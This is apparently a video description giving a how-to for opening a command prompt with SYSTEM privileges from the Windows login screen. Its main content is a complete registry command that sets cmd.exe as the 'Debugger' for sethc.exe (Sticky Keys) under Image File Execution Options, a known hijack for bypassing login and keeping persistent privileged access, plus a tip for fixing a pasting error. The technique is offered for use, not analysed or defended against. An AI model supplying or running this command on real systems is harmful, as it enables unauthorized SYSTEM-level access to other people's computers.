How to: Get a command prompt on windows login screen with SYSTEM privileges!!

WARINING:
There is a problem with the command in copying and pasting it.!!!! CHECK DESCRIPTION

If you have any question please let me know in the comments!!

Windows 8/8.1 also supported

Shorcut: Left Alt + Left Shift + Print Screen
Song name: Cut and Dry

Command to paste:

WARINING:
There is a problem with the command in copying and pasting it.

When you paste the text above an additional hidden hyphen "-" may be added-in "W-indowsNT" and it stops this working properly as it goes into the wrong part of the registry to work. So before you press enter remove the hyphen from the "W-­indowsNT" part and it works.
(Thanks to Rod Dines)

cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f"